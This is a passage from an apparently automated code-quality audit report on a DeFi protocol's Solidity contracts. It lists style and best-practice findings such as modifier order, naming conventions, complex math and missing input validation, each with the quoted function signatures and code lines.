113: function withdrawalFeePct(uint256 bridgePointer, address rethBridge, address stethBridge) internal view returns (uint256 fee) {
144: function transferBridgeCredit(address asset, address from, address to, uint88 collateral) internal {
198: function removeDeth(uint256 vault, uint88 amount, uint88 fee) internal {
LibBytes.sol (11-11):
11: function readProposalData(address SSTORE2Pointer, uint8 slateLength) internal view returns (MTypes.ProposalData[] memory) {
LibOracle.sol (19-19, 69-75, 117-124, 131-131, 149-149, 156-156, 162-162, 168-168):
19: function getOraclePrice(address asset) internal view returns (uint256) {
69: function baseOracleCircuitBreaker(
70: uint256 protocolPrice,
71: uint80 roundId,
72: int256 chainlinkPrice,
73: uint256 timeStamp,
74: uint256 chainlinkPriceInEth
75: ) private view returns (uint256 _protocolPrice) {
117: function oracleCircuitBreaker(
118: uint80 roundId,
119: uint80 baseRoundId,
120: int256 chainlinkPrice,
121: int256 baseChainlinkPrice,
122: uint256 timeStamp,
123: uint256 baseTimeStamp
124: ) private view {
131: function twapCircuitBreaker() private view returns (uint256 twapPriceInEth) {
149: function setPriceAndTime(address asset, uint256 oraclePrice, uint32 oracleTime) internal {
156: function getTime(address asset) internal view returns (uint256 creationTime) {
162: function getPrice(address asset) internal view returns (uint80 oraclePrice) {
168: function getSavedOrSpotOraclePrice(address asset) internal view returns (uint256) {
LibOrders.sol (30-30, 35-35, 40-40, 55-58, 78-78, 82-82, 103-103, 128-128, 153-153, 173-178, 231-234, 260-266, 289-289, 314-314, 362-367, 402-409, 420-420, 440-447, 474-479, 499-499, 556-561, 628-628, 652-652, 668-668, 705-710, 783-788, 803-803, 810-810, 826-830, 854-854, 868-868, 882-882, 955-955, 985-985, 989-989):
30: function getOffsetTime() internal view returns (uint32 timeInSeconds) {
35: function convertCR(uint16 cr) internal pure returns (uint256) {
40: function increaseSharesOnMatch(address asset, STypes.Order memory order, MTypes.Match memory matchTotal, uint88 eth) internal {
55: function currentOrders(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset)
56: internal
57: view
58: returns (STypes.Order[] memory)
78: function isShort(STypes.Order memory order) internal pure returns (bool) {
82: function addBid(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
103: function addAsk(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
128: function addShort(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
153: function addSellOrder(STypes.Order memory incomingOrder, address asset, MTypes.OrderHint[] memory orderHintArray) private {
173: function addOrder(
174: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
175: address asset,
176: STypes.Order memory incomingOrder,
177: uint16 hintId
178: ) private {
231: function verifyBidId(address asset, uint16 _prevId, uint256 _newPrice, uint16 _nextId)
232: internal
233: view
234: returns (int256 direction)
260: function verifySellId(
261: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
262: address asset,
263: uint16 _prevId,
264: uint256 _newPrice,
265: uint16 _nextId
266: ) private view returns (int256 direction) {
289: function cancelOrder(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset, uint16 id) internal {
314: function matchOrder(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset, uint16 id) internal {
362: function findPrevOfIncomingId(
363: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
364: address asset,
365: STypes.Order memory incomingOrder,
366: uint16 hintId
367: ) internal view returns (uint16) {
402: function verifyId(
403: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
404: address asset,
405: uint16 prevId,
406: uint256 newPrice,
407: uint16 nextId,
408: O orderType
409: ) internal view returns (int256 direction) {
420: function normalizeOrderType(O o) private pure returns (O newO) {
440: function getOrderId(
441: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
442: address asset,
443: int256 direction,
444: uint16 hintId,
445: uint256 _newPrice,
446: O orderType
447: ) internal view returns (uint16 _hintId) {
474: function updateBidOrdersOnMatch(
475: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
476: address asset,
477: uint16 id,
478: bool isOrderFullyFilled
479: ) internal {
499: function updateSellOrdersOnMatch(address asset, MTypes.BidMatchAlgo memory b) internal {
556: function sellMatchAlgo(
557: address asset,
558: STypes.Order memory incomingAsk,
559: MTypes.OrderHint[] memory orderHintArray,
560: uint256 minAskEth
561: ) internal {
628: function matchIncomingSell(address asset, STypes.Order memory incomingOrder, MTypes.Match memory matchTotal) private {
652: function matchIncomingAsk(address asset, STypes.Order memory incomingAsk, MTypes.Match memory matchTotal) private {
668: function matchIncomingShort(address asset, STypes.Order memory incomingShort, MTypes.Match memory matchTotal) private {
705: function matchHighestBid(
706: STypes.Order memory incomingSell,
707: STypes.Order memory highestBid,
708: address asset,
709: MTypes.Match memory matchTotal
710: ) internal {
783: function updateOracleAndStartingShortViaThreshold(
784: address asset,
785: uint256 savedPrice,
786: STypes.Order memory incomingOrder,
787: uint16[] memory shortHintArray
788: ) internal {
803: function updateOracleAndStartingShortViaTimeBidOnly(address asset, uint16[] memory shortHintArray) internal {
810: function updateStartingShortIdViaShort(address asset, STypes.Order memory incomingShort) internal {
826: function findOrderHintId(
827: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
828: address asset,
829: MTypes.OrderHint[] memory orderHintArray
830: ) internal view returns (uint16 hintId) {
854: function cancelBid(address asset, uint16 id) internal {
868: function cancelAsk(address asset, uint16 id) internal {
882: function cancelShort(address asset, uint16 id) internal {
955: function handlePriceDiscount(address asset, uint80 price) internal {
985: function min(uint256 a, uint256 b) internal pure returns (uint256) {
989: function max(uint256 a, uint256 b) internal pure returns (uint256) {
LibSRUtil.sol (22-24, 49-51, 72-74, 102-105, 124-124, 151-151):
22: function disburseCollateral(address asset, address shorter, uint88 collateral, uint256 dethYieldRate, uint32 updatedAt)
23: internal
24: {
49: function checkCancelShortOrder(address asset, SR initialStatus, uint16 shortOrderId, uint8 shortRecordId, address shorter)
50: internal
51: returns (bool isCancelled)
72: function checkShortMinErc(address asset, SR initialStatus, uint16 shortOrderId, uint8 shortRecordId, address shorter)
73: internal
74: returns (bool isCancelled)
102: function checkRecoveryModeViolation(address asset, uint256 shortRecordCR, uint256 oraclePrice)
103: internal
104: view
105: returns (bool recoveryViolation)
124: function transferShortRecord(address from, address to, uint40 tokenId) internal {
151: function updateErcDebt(STypes.ShortRecord storage short, address asset) internal {
UniswapOracleLibrary.sol (28-31, 47-50):
28: function getQuoteAtTick(int24 tick, uint128 baseAmount, address baseToken, address quoteToken)
29: internal
30: pure
31: returns (uint256 quoteAmount)
47: function estimateTWAP(uint128 amountIn, uint32 secondsAgo, address pool, address baseToken, address quoteToken)
48: internal
49: view
50: returns (uint256 amountOut)
[10] Names of private
/internal
state variables should be prefixed with an underscore
It is recommended by the Solidity Style Guide.
BridgeRouterFacet.sol (26-26, 27-27):
26: address private immutable rethBridge;
27: address private immutable stethBridge;
ExitShortFacet.sol (26-26):
26: address private immutable dusd;
PrimaryLiquidationFacet.sol (28-28):
28: address private immutable dusd;
[11] The nonReentrant
modifier
should occur before all other modifiers
This is a best-practice to protect against reentrancy in other modifiers
There are 10 instances:
BidOrdersFacet.sol (40-47):
40: function createBid(
41: address asset,
42: uint80 price,
43: uint88 ercAmount,
44: bool isMarketOrder,
45: MTypes.OrderHint[] calldata orderHintArray,
46: uint16[] calldata shortHintArray
47: ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant returns (uint88 ethFilled, uint88 ercAmountLeft) {
ExitShortFacet.sol (41-44, 87-90, 142-149):
41: function exitShortWallet(address asset, uint8 id, uint88 buybackAmount, uint16 shortOrderId)
42: external
43: isNotFrozen(asset)
44: nonReentrant
87: function exitShortErcEscrowed(address asset, uint8 id, uint88 buybackAmount, uint16 shortOrderId)
88: external
89: isNotFrozen(asset)
90: nonReentrant
142: function exitShort(
143: address asset,
144: uint8 id,
145: uint88 buybackAmount,
146: uint80 price,
147: uint16[] memory shortHintArray,
148: uint16 shortOrderId
149: ) external isNotFrozen(asset) nonReentrant onlyValidShortRecord(asset, msg.sender, id) {
PrimaryLiquidationFacet.sol (47-50):
47: function liquidate(address asset, address shorter, uint8 id, uint16[] memory shortHintArray, uint16 shortOrderId)
48: external
49: isNotFrozen(asset)
50: nonReentrant
RedemptionFacet.sol (56-61, 224-227, 310-310, 347-350):
56: function proposeRedemption(
57: address asset,
58: MTypes.ProposalInput[] calldata proposalInput,
59: uint88 redemptionAmount,
60: uint88 maxRedemptionFee
61: ) external isNotFrozen(asset) nonReentrant {
224: function disputeRedemption(address asset, address redeemer, uint8 incorrectIndex, address disputeShorter, uint8 disputeShortId)
225: external
226: isNotFrozen(asset)
227: nonReentrant
310: function claimRedemption(address asset) external isNotFrozen(asset) nonReentrant {
347: function claimRemainingCollateral(address asset, address redeemer, uint8 claimIndex, uint8 id)
348: external
349: isNotFrozen(asset)
350: nonReentrant
ShortOrdersFacet.sol (35-42):
35: function createLimitShort(
36: address asset,
37: uint80 price,
38: uint88 ercAmount,
39: MTypes.OrderHint[] memory orderHintArray,
40: uint16[] memory shortHintArray,
41: uint16 shortOrderCR
42: ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant {
[12] Custom errors should be used rather than revert()
/require()
Custom errors are available from solidity version 0.8.4. Custom errors are more easily processed in try-catch blocks, and are easier to re-use and maintain.
LibBytes.sol (14-14):
14: require(slate.length % 51 == 0, "Invalid data length");
[13] Consider splitting complex checks into multiple steps
Assign the expression’s parts to intermediate local variables, and check against those instead.
BidOrdersFacet.sol (106-106, 317-317):
106: if (incomingBid.price >= lowestSell.price && (lowestSell.orderType == O.LimitAsk || lowestSell.orderType == O.LimitShort)) {
317: } else if (prevShortOrderType != O.Cancelled && prevShortOrderType != O.Matched && prevShort.price >= b.oraclePrice) {
RedemptionFacet.sol (38-38):
38: if (shortRecord.status == SR.Closed || shortRecord.ercDebt < minShortErc || proposer == shorter) {
LibOracle.sol (60-60):
60: if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
LibOrders.sol (752-752):
752: if (shortOrderType == O.Cancelled || shortOrderType == O.Matched || shortOrderType == O.Uninitialized) {
[14] Complex casting
Consider whether the number of casts is really necessary, or whether using a different type would be more appropriate. Alternatively, add comments to explain in detail why the casts are necessary, and any implicit reasons why the cast does not introduce an overflow.
UniswapOracleLibrary.sol (62-62):
62: int24 tick = int24(tickCumulativesDelta / int32(secondsAgo));
[15] Complex math should be split into multiple steps
Consider splitting long arithmetic calculations into multiple steps to improve the code readability.
There are 11 instances:
PrimaryLiquidationFacet.sol (140-140, 180-180):
140: m.ethDebt = m.short.ercDebt.mul(m.oraclePrice).mul(m.forcedBidPriceBuffer).mul(1 ether + m.tappFeePct + m.callerFeePct); // ethDebt accounts for forcedBidPriceBuffer and potential fees
180: m.short.ercDebt = uint88(m.ethDebt.div(_bidPrice.mul(1 ether + m.callerFeePct + m.tappFeePct))); // @dev(safe-cast)
RedemptionFacet.sol (183-183, 186-187, 190-191, 194-195, 198-198, 289-291):
183: redeemerAssetUser.timeToDispute = protocolTime + uint32((m.mul(p.currentCR - 1.7 ether) + 3 ether) * 1 hours / 1 ether);
186: redeemerAssetUser.timeToDispute =
187: protocolTime + uint32((m.mul(p.currentCR - 1.5 ether) + 1.5 ether) * 1 hours / 1 ether);
190: redeemerAssetUser.timeToDispute =
191: protocolTime + uint32((m.mul(p.currentCR - 1.3 ether) + 0.75 ether) * 1 hours / 1 ether);
194: redeemerAssetUser.timeToDispute =
195: protocolTime + uint32((m.mul(p.currentCR - 1.2 ether) + C.ONE_THIRD) * 1 hours / 1 ether);
198: redeemerAssetUser.timeToDispute = protocolTime + uint32(m.mul(p.currentCR - 1.1 ether) * 1 hours / 1 ether);
289: uint256 penaltyPct = LibOrders.min(
290: LibOrders.max(LibAsset.callerFeePct(d.asset), (currentProposal.CR - disputeCR).div(currentProposal.CR)), 0.33 ether
291: );
LibOrders.sol (965-965):
965: uint256 discountPct = max(0.01 ether, min(((savedPrice - price).div(savedPrice)), 0.04 ether));
UniswapOracleLibrary.sol (38-39, 42-43):
38: quoteAmount =
39: baseToken < quoteToken ? U256.mulDiv(ratioX192, baseAmount, 1 << 192) : U256.mulDiv(1 << 192, baseAmount, ratioX192);
42: quoteAmount =
43: baseToken < quoteToken ? U256.mulDiv(ratioX128, baseAmount, 1 << 128) : U256.mulDiv(1 << 128, baseAmount, ratioX128);
[16] Consider adding a block/deny-list
Doing so will significantly increase centralization, but will help to prevent hackers from using stolen tokens
BidOrdersFacet.sol (20):
20: contract BidOrdersFacet is Modifiers {
BridgeRouterFacet.sol (18):
18: contract BridgeRouterFacet is Modifiers {
ExitShortFacet.sol (19):
19: contract ExitShortFacet is Modifiers {
PrimaryLiquidationFacet.sol (21):
21: contract PrimaryLiquidationFacet is Modifiers {
RedemptionFacet.sol (21):
21: contract RedemptionFacet is Modifiers {
ShortOrdersFacet.sol (18):
18: contract ShortOrdersFacet is Modifiers {
[17] Constants/Immutables redefined elsewhere
Consider defining in only one contract so that values cannot become out of sync when only one location is updated. A cheap way to store constants/immutables in a single location is to create an internal constant
in a library
. If the variable is a local cache of another contract’s value, consider making the cache variable internal or private, which will require external users to query the contract with the source of truth, so that callers don’t get out of sync.
ExitShortFacet.sol (26-26):
/// @audit Seen in contracts/facets/PrimaryLiquidationFacet.sol#28
26: address private immutable dusd;
PrimaryLiquidationFacet.sol (28-28):
/// @audit Seen in contracts/facets/ExitShortFacet.sol#26
28: address private immutable dusd;
[18] Convert simple if
-statements to ternary expressions
Converting some if statements to ternaries (such as z = (a < b) ? x : y
) can make the code more concise and easier to read.
There are 8 instances:
BidOrdersFacet.sol (320-324):
320: if (b.isMovingFwd) {
321: Asset.startingShortId = currentShort.nextId;
322: } else {
323: Asset.startingShortId = s.shorts[asset][b.shortHintId].nextId;
324: }
LibOrders.sol (90-94, 111-115, 132-136, 196-202, 339-348, 791-795, 944-948):
90: if (order.price > s.bids[asset][nextId].price || nextId == C.TAIL) {
91: hintId = C.HEAD;
92: } else {
93: hintId = findOrderHintId(s.bids, asset, orderHintArray);
94: }
111: if (order.price < s.asks[asset][nextId].price || nextId == C.TAIL) {
112: hintId = C.HEAD;
113: } else {
114: hintId = findOrderHintId(s.asks, asset, orderHintArray);
115: }
132: if (order.price < s.shorts[asset][nextId].price || nextId == C.TAIL) {
133: hintId = C.HEAD;
134: } else {
135: hintId = findOrderHintId(s.shorts, asset, orderHintArray);
136: }
196: if (prevCanceledID != C.HEAD) {
197: orders[asset][C.HEAD].prevId = prevCanceledID;
198: } else {
199: // BEFORE: HEAD <- (ID) <- HEAD <-> .. <-> PREV <----------> NEXT
200: // AFTER1: HEAD <--------- HEAD <-> .. <-> PREV <-> [ID] <-> NEXT
201: orders[asset][C.HEAD].prevId = C.HEAD;
202: }
339: if (prevHEAD != C.HEAD) {
340: orders[asset][id].prevId = prevHEAD;
341: } else {
342: // if this is the first ID cancelled
343: // HEAD.prevId needs to be HEAD
344: // and one of the cancelled id.prevID should point to HEAD
345: // BEFORE: HEAD <--------- HEAD <-> ... [ID]
346: // AFTER1: HEAD <- [ID] <- HEAD <-> ...
347: orders[asset][id].prevId = C.HEAD;
348: }
791: if (incomingOrder.price >= savedPrice) {
792: orderPriceGtThreshold = (incomingOrder.price - savedPrice).div(savedPrice) > 0.005 ether;
793: } else {
794: orderPriceGtThreshold = (savedPrice - incomingOrder.price).div(savedPrice) > 0.005 ether;
795: }
944: if (prevPrice >= savedPrice) {
945: Asset.startingShortId = shortOrder.prevId;
946: } else {
947: Asset.startingShortId = shortOrder.nextId;
948: }
[19] Contracts should each be defined in separate files
Keeping each contract in a separate file makes it easier to work with multiple people, makes the code easier to maintain, and is a common practice on most projects. The following file contains more than one contract/library/interface.
[20] Contract name does not match its filename
According to the Solidity Style Guide, contract and library names should also match their filenames.
UniswapOracleLibrary.sol (21):
/// @audit Not match filename `UniswapOracleLibrary.sol`
21: library OracleLibrary {
[21] UPPER_CASE
names should be reserved for constant
/immutable
variables
If the variable needs to be different based on which class it comes from, a view
/pure
function should be used instead (e.g. like this).
PrimaryLiquidationFacet.sol (165, 211, 241):
165: STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];
211: STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];
241: STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];
LibBytes.sol (24):
24: uint64 CR; // bytes8
[22] Contract timekeeping will break earlier than the Ethereum network itself will stop working
When a timestamp is downcast from uint256
to uint32
, the value will wrap in the year 2106, and the contracts will break. Other downcasts will have different endpoints. Consider whether your contract is intended to live past the size of the type being used.
LibOrders.sol (32-32):
32: return uint32(block.timestamp - C.STARTING_TIME); // @dev(safe-cast)
[23] Consider emitting an event at the end of the constructor
This will allow users to easily exactly pinpoint when and by whom a contract was constructed.
BridgeRouterFacet.sol (29-29):
29: constructor(address _rethBridge, address _stethBridge) {
ExitShortFacet.sol (28-28):
28: constructor(address _dusd) {
PrimaryLiquidationFacet.sol (30-30):
30: constructor(address _dusd) {
[24] Events are emitted without the sender information
When an action is triggered based on a user’s action, not being able to filter based on who triggered the action makes event processing a lot more cumbersome. Including the msg.sender
the events of these types of action will make events much more useful to end users, especially when msg.sender
is not tx.origin
.
RedemptionFacet.sol (284-284):
284: emit Events.DisputeRedemptionAll(d.asset, redeemer);
[25] Imports could be organized more systematically
The contract’s interface should be imported first, followed by each of the interfaces it uses, followed by all other files. The examples below do not follow this layout.
BidOrdersFacet.sol (6-6):
/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";
BridgeRouterFacet.sol (6-6):
/// @audit Out of order with the prev import️ ⬆
6: import {IBridge} from "contracts/interfaces/IBridge.sol";
ExitShortFacet.sol (6-6):
/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";
PrimaryLiquidationFacet.sol (6-6):
/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";
LibOracle.sol (6-6):
/// @audit Out of order with the prev import️ ⬆
6: import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
LibOrders.sol (6-6):
/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";
[26] Invalid NatSpec comment style
NatSpec comment in solidity should use ///
or /* ... */
syntax.
There are 111 instances:
BidOrdersFacet.sol (70-70, 72-73, 102-102, 107-107, 113-113, 140-140, 291-291, 308-309, 333-334, 338-339, 344-344, 353-353, 393-393, 401-401):
70: // @dev leave empty, don't need hint for market buys
72:
73: // @dev update oracle in callers
102: // @dev setting initial shortId to match "backwards" (See _shortDirectionHandler() below)
107: // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
113: // @dev no match, add to market if limit order
140: // @dev Handles scenario when no sells left after partial fill
291: // @dev needs to happen after updateSellOrdersOnMatch()
308:
309: // @dev Approximates the startingShortId after bid is fully executed
333:
334: // @dev match price is based on the order that was already on orderbook
338:
339: // @dev If neither conditions are true, it returns an empty Order struct
344: // @dev Setting lowestSell after comparing short and ask prices
353: // @dev Handles scenario when there are no shorts
393: // @dev shortHintId should always be the first thing matched
401: // @dev Only set to true if actually moving forward
BridgeRouterFacet.sol (67-67, 147-147, 178-178):
67: // @dev amount after deposit might be less, if bridge takes a fee
147: // @dev Deters attempts to take advantage of long delays between updates to the yield rate, by creating large temporary positions
178: // @dev don't use mulU88 in rare case of overflow
ExitShortFacet.sol (156-157, 167-168, 202-203, 205-206):
156:
157: // @dev Must prevent forcedBid from exitShort() matching with original shortOrder
167:
168: // @dev if short order was cancelled, fully exit
202:
203: // @dev Only allow partial exit if the CR is same or better than before
205:
206: // @dev collateral already subtracted in exitShort()
PrimaryLiquidationFacet.sol (55-55, 57-58, 66-67, 71-72, 95-95, 157-158, 163-164, 177-177, 185-186, 191-192, 197-197, 198-198, 217-217):
55: // @dev TAPP partially reimburses gas fees, capped at 10 to limit arbitrary high cost
57:
58: // @dev Ensures SR has enough ercDebt/collateral to make caller fee worthwhile
66:
67: // @dev liquidate requires more up-to-date oraclePrice
71:
72: // @dev Can liquidate as long as CR is low enough
95: // @dev startingShortId is updated via updateOracleAndStartingShortViaTimeBidOnly() prior to call
157:
158: // @dev Provide higher price to better ensure it can fully fill the liquidation
163:
164: // @dev Increase ethEscrowed by shorter's full collateral for forced bid
177: // @dev Max ethDebt can only be the ethEscrowed in the TAPP
185:
186: // @dev Liquidation contract will be the caller. Virtual accounting done later for shorter or TAPP
191:
192: // @dev virtually burning the repurchased debt
197: // @dev manually setting basefee to 1,000,000 in foundry.toml;
198: // @dev By basing gasFee off of baseFee instead of priority, adversaries are prevent from draining the TAPP
217: // @dev TAPP already received the gasFee for being the forcedBid caller. tappFee nets out.
RedemptionFacet.sol (36-36, 37-37, 71-72, 82-82, 91-92, 94-95, 100-100, 107-108, 109-109, 126-127, 144-145, 156-156, 157-157, 261-261, 262-262, 277-278, 282-282, 286-287, 288-288, 294-295, 355-356, 372-372, 375-375, 380-381, 391-391, 393-393):
36: // @dev Matches check in onlyValidShortRecord but with a more restrictive ercDebt condition
37: // @dev Proposer can't redeem on self
71:
72: // @dev redeemerAssetUser.SSTORE2Pointer gets reset to address(0) after actual redemption
82: // @dev Setting this above _onlyValidShortRecord to allow skipping
91:
92: // @dev Skip if proposal is not sorted correctly or if above redemption threshold
94:
95: // @dev totalAmountProposed tracks the actual amount that can be redeemed. totalAmountProposed <= redemptionAmount
100: // @dev Exit when proposal would leave less than minShortErc, proxy for nearing end of slate
107:
108: // @dev Cancel attached shortOrder if below minShortErc, regardless of ercDebt in SR
109: // @dev All verified SR have ercDebt >= minShortErc so CR does not change in cancelShort()
126:
127: // @dev directly write the properties of MTypes.ProposalData into bytes
144:
145: // @dev SSTORE2 the entire proposalData after validating proposalInput
156: // @dev Calculate the dispute period
157: // @dev timeToDispute is immediate for shorts with CR <= 1.1x
261: // @dev All proposals from the incorrectIndex onward will be removed
262: // @dev Thus the proposer can only redeem a portion of their original slate
277:
278: // @dev Update the redeemer's SSTORE2Pointer
282: // @dev this implies everything in the redeemer's proposal was incorrect
286:
287: // @dev Penalty is based on the proposal with highest CR (decodedProposalData is sorted)
288: // @dev PenaltyPct is bound between CallerFeePct and 33% to prevent exploiting primaryLiquidation fees
294:
295: // @dev Give redeemer back ercEscrowed that is no longer used to redeem (penalty applied)
355:
356: // @dev Only need to read up to the position of the SR to be claimed
372: // @dev Refund shorter the remaining collateral only if fully redeemed and not claimed already
375: // @dev Shorter shouldn't lose any unclaimed yield because dispute time > YIELD_DELAY_SECONDS
380:
381: // @dev inspired by https://docs.liquity.org/faq/lusd-redemptions#how-is-the-redemption-fee-calculated
391: // @dev Calculate Asset.ercDebt prior to proposal
393: // @dev Derived via this formula: baseRateNew = baseRateOld + redeemedLUSD / (2 * totalLUSD)
ShortOrdersFacet.sol (46-47, 54-55, 74-74, 83-84):
46:
47: // @dev create "empty" SR. Fail early.
54:
55: // @dev minShortErc needs to be modified (bigger) when cr < 1
74: // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
83:
84: // @dev reading spot oracle price
LibBridgeRouter.sol (74-74, 104-104, 112-112, 142-143):
74: // @dev Prevents abusing bridge for arbitrage
104: // @dev Prevents abusing bridge for arbitrage
112: // @dev Only applicable to VAULT.ONE which has mixed LST
142:
143: // @dev Only relevant to NFT SR that is being transferred, used to deter workarounds to the bridge credit system
LibOracle.sol (29-29, 81-82, 154-155, 160-161, 166-167):
29: // @dev multiply base oracle by 10**10 to give it 18 decimals of precision
81:
82: // @dev if there is issue with chainlink, get twap price. Verify twap and compare with chainlink
154:
155: // @dev Intentionally using creationTime for oracleTime.
160:
161: // @dev Intentionally using ercAmount for oraclePrice. Storing as price may lead to bugs in the match algos.
166:
167: // @dev Allows caller to save gas since reading spot price costs ~16K
LibOrders.sol (28-29, 42-43, 137-138, 171-172, 188-188, 237-237, 267-267, 294-294, 331-332, 418-419, 507-507, 508-508, 511-511, 518-518, 640-641, 723-724, 760-760, 769-769, 781-782, 790-790, 801-802, 846-846, 899-899, 900-900, 905-905, 906-906, 927-928, 931-931, 961-962, 964-964, 966-967, 970-970, 974-974, 980-981):
28:
29: // @dev in seconds
42:
43: // @dev use the diff to get more time (2159), to prevent overflow at year 2106
137:
138: // @dev: Only need to set this when placing incomingShort onto market
171:
172: // @dev partial addOrder
188: // @dev (ID) is exiting, [ID] is inserted
237: // @dev: TAIL can't be prevId because it will always be last item in list
267: // @dev: TAIL can't be prevId because it will always be last item in list
294: // @dev (ID) is exiting, [ID] is inserted
331:
332: // @dev mark as cancelled instead of deleting the order itself
418:
419: // @dev not used to change state, just which methods to call
507: // @dev Handles only matching one thing
508: // @dev If does not get fully matched, b.matchedShortId == 0 and therefore not hit this block
511: // @dev Handles moving forward only
518: // @dev Handle going backward and forward
640:
641: // @dev match price is based on the order that was already on orderbook
723:
724: // @dev this happens at the end so fillErc isn't affected in previous calculations
760: // @dev force hint to be within 0.5% of oraclePrice
769: // @dev prevShortPrice >= oraclePrice
781:
782: // @dev Update on match if order matches and price diff between order price and oracle > chainlink threshold (i.e. eth .5%)
790: // @dev handle .5% deviations in either directions
801:
802: // @dev Possible for this function to never get called if updateOracleAndStartingShortViaThreshold() gets called often enough
846: // @dev If hint was prev matched, assume that hint was close to HEAD and therefore is reasonable to use HEAD
899: // @dev creating shortOrder automatically creates a closed shortRecord which also sets a shortRecordId
900: // @dev cancelling an unmatched order needs to also handle/recycle the shortRecordId
905: // @dev prevents leaving behind a partially filled SR is under minShortErc
906: // @dev if the corresponding short is cancelled, then the partially filled SR's debt will == minShortErc
927:
928: // @dev update the eth refund amount
931: // @dev virtually mint the increased debt
961:
962: // @dev tithe is increased only if discount is greater than 1%
964: // @dev bound the new tithe amount between 25% and 100%
966:
967: // @dev Vault.dethTitheMod is added onto Vault.dethTithePercent to get tithe amount
970: // @dev dethTitheMod is only set when setTithe is called.
974: // @dev change back to original tithe percent
980:
981: // @dev exists because of ShortOrderFacet contract size
LibSRUtil.sol (89-89, 132-133):
89: // @dev The resulting SR will not have PartialFill status after cancel
132:
133: // @dev shortOrderId is already validated in mintNFT
UniswapOracleLibrary.sol (57-58, 68-69):
57:
58: // @dev Returns the cumulative tick and liquidity as of each timestamp secondsAgo from the current block timestamp
68:
69: // @dev Gets price using this formula: p(i) = 1.0001**i, where i is the tick
[27] @openzeppelin/contracts
should be upgraded to a newer version
These contracts import contracts from @openzeppelin/contracts
, but they are not using the latest version. Using the latest version ensures contract security with fixes for known vulnerabilities, access to the latest feature updates, and enhanced community support and engagement.
The imported version is ^4.9.0
.
LibOracle.sol (7):
7: import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
[28] Lib @prb/math
should be upgraded to a newer version
These contracts import contracts from lib @prb/math
, but they are not using the latest version.
The imported version is ^4.0.1
.
- Global finding
[29] Functions should be named in mixedCase
style
As the Solidity Style Guide suggests: functions should be named in mixedCase
style.
RedemptionFacet.sol (31):
31: function validRedemptionSR(STypes.ShortRecord storage shortRecord, address proposer, address shorter, uint256 minShortErc)
LibOrders.sol (35):
35: function convertCR(uint16 cr) internal pure returns (uint256) {
UniswapOracleLibrary.sol (47):
47: function estimateTWAP(uint128 amountIn, uint32 secondsAgo, address pool, address baseToken, address quoteToken)
[30] Variable names for immutable
s should use UPPER_CASE_WITH_UNDERSCORES
For immutable
variable names, each word should use all capital letters, with underscores separating each word (UPPER_CASE_WITH_UNDERSCORES
)
BridgeRouterFacet.sol (26-26, 27-27):
26: address private immutable rethBridge;
27: address private immutable stethBridge;
ExitShortFacet.sol (26-26):
26: address private immutable dusd;
PrimaryLiquidationFacet.sol (28-28):
28: address private immutable dusd;
[31] Consider adding validation of user inputs
There are no validations done on the arguments below. Consider that the Solidity documentation states that Properly functioning code should never create a Panic, not even on invalid external input. If this happens, then there is a bug in your contract which you should fix
. This means that there should be explicit checks for expected ranges of inputs. Underflows/overflows result in panics should not be used as range checks, and allowing funds to be sent to 0x0
, which is the default value of address variables and has many gotchas, should be avoided.
BidOrdersFacet.sol (65-65):
/// @audit `sender not checked`
/// @audit `asset not checked`
65: function createForcedBid(address sender, address asset, uint80 price, uint88 ercAmount, uint16[] calldata shortHintArray)
BridgeRouterFacet.sol (63-63, 82-82, 101-101, 133-133):
/// @audit `bridge not checked`
63: function deposit(address bridge, uint88 amount) external nonReentrant {
/// @audit `bridge not checked`
82: function depositEth(address bridge) external payable nonReentrant {
/// @audit `bridge not checked`
101: function withdraw(address bridge, uint88 dethAmount) external nonReentrant {
/// @audit `bridge not checked`
133: function withdrawTapp(address bridge, uint88 dethAmount) external onlyDAO {
RedemptionFacet.sol (347-347):
/// @audit `redeemer not checked`
347: function claimRemainingCollateral(address asset, address redeemer, uint8 claimIndex, uint8 id)
[32] Constants should be put on the left side of comparisons
Putting constants on the left side of comparison statements is a best practice known as Yoda conditions. Although solidity’s static typing system prevents accidental assignments within conditionals, adopting this practice can improve code readability and consistency, especially when working across multiple languages.
There are 34 instances:
BidOrdersFacet.sol (281):
/// @audit put `0` on the left
281: if (matchTotal.fillEth == 0) {
BridgeRouterFacet.sol (102, 134, 164):
/// @audit put `0` on the left
102: if (dethAmount == 0) revert Errors.ParameterIsZero();
/// @audit put `0` on the left
134: if (dethAmount == 0) revert Errors.ParameterIsZero();
/// @audit put `0` on the left
164: if (vault == 0) revert Errors.InvalidBridge();
ExitShortFacet.sol (53, 99, 174, 188):
/// @audit put `0` on the left
53: if (buybackAmount > ercDebt || buybackAmount == 0) revert Errors.InvalidBuyback();
/// @audit put `0` on the left
99: if (buybackAmount == 0 || buybackAmount > ercDebt) revert Errors.InvalidBuyback();
/// @audit put `0` on the left
